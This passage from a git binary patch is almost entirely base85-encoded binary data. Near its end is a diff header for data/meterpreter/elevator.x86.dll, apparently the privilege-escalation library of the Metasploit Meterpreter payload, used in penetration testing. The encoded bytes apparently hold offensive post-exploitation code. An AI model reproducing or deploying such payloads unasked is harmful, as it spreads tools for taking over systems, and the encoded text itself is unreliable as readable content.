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 Ef5>6KivR!s diff --git a/data/meterpreter/elevator.x86.dll b/data/meterpreter/elevator.x86.dll index 0134174585c166408be4cea52d441b6fc6cfa77f..e75ad7b4f87e730f48e5d5e9c9263b5b06f11004 100755 GIT binary patch literal 68608 zcmeFae|%KMxj%k3yGa(< zB%ZA1WL&ka_S$=GFBIELtGA`C0{%d=1e5SX31Bq}wn3?#c&J9fWFs->^M2;+hEUu4 z{r>g&>$9)do|*H^uVeDXj^OmEucS*a zj(Tg_F5As-O}j1ly|vkEYVN&Abxcy|kbk|ZUISBp-25%CK9Z#Q6#TD# zc{Zub^{)cY!CU_P4{ftqlI8)GfAzaUxod-hz&afd!jI}ojXmO*ElI1cs9Al7a)%`C zT#SIt_}_^CC8_0#n!E13|4vD|f*KlilP-q) z$%shs7E03f=R^MA+y89}u$yz7Y+;V0qCB7#9Q;Od+vJDeMsvxJegjnG9b?%C(T|*C zj>?Vb$Wpa@-v?jHYmQ0s_+!=b=Pm3D?T{(&xKNAQ!pD>;{ZSc_)X%Er`^Q$xN@unF z-Us1hYVsQdu9oXQc-4e&MpwhxUbyQoIW6DsL^ekd_b~nks%2w8(!8&=xRKov`L$yj zciUU#9a(q{X)U&EkE*Y+&d3s*$S8bB&7bi>JhLm2+30w|$b<@4I*=hU7Dza?J#H=P zHr_<8_M`R#z#5slubn7||IIW_ZI2C=F#dbdisdU?JuURC&zF>bHeliWe!Q3z6k{`{ zze+WdcU*-u)$+C3ZF04|w##;tGAi7sd}e$CR8ieM=T&!|+p5Peu05(`A%bxN)kNYu z3wvGb|Fo7-Rio@Z)@!BubG*Pyt=B{~CsH-FHaBWRX_xf69{ACNZ}r@aD#$w~hL6dO zMetsGksRJYwQ94WV#fb8k7cpOBg*~F57-*}l%=d6&7RSmir{PaC=(i6l(gm)>t%Ff zi+UQh_q4QHpf_=e=(jHL~GvDv&<<; zkrIzVAuw6isRx|w#(VX2c4JUq;$Z3CG*?V=D`U63 z11Eg_8a0*QnVqacyi`Zle zjv0&JK+A0E+v89t_wBK%*RnlYcaq|4I1A+J*MoZMCEmZRo544rn*rH&X*vQBQ%Tki zn8uh8{7K8@r(5lRv6?qY&jUocp#PYG($6)x=U9C$my}didQ!V%%{MDou-4`KsIO`T zXTS!fkj+%xrs_gxQB#8*=#oZKNa8!c!Km7sQ6*xY$}X?)91Ep-S}G&8C-tiC)6eJo z+-fF2mO9*H?tmAhHdOSm08^>?FAVn~&dzgj3gU76FH_z1(vw~gR`;EZ_%i(EKqKPo 